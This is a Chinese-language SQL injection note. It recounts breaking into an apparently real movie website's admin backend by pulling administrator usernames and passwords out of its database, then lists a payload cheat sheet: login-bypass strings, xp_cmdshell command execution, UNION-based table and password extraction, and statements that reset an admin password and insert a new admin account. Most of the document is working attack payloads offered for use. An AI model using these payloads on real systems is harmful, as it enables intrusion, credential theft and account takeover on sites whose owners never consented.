houyongwang_5

money--同上
send--空
oklook--0
dnlook--0
getmoney--0
state--0
note--这家伙很。。。 说明
password表
1 2 3
id name pwd
然后我又试ad原来是用来记录广告击点的。。
然后又试password表得到有name和pwd字段。
执行
ffff';update [users] set email=(select top 1 name from password) where name='ffff';--
可得第一个用户名是admin123看样儿多半是管理员了。
然后又得到了密码是dy***dick188还是打星号算了哈哈...
这样我们就完全进入了这个电影网站的后台了哈哈。
http://www.dy***.com/login.asp
再进一步还可以知道管理员一共有三人密码也都能看到了。
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
------------------------------------------------------------
数据库猜测测试：
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
-----------------------------------------------------------------------------
'; exec master..xp_cmdshell 'ping 10.102'-- //tftp，防火墙，nc,tcpdump..
'; EXEC master..sp_makewebtask "\目标ip\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
UNION SELECT TOP 1 login_name FROM admin_login--
UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
;UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
;INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
-----------------------------------------------------------------------------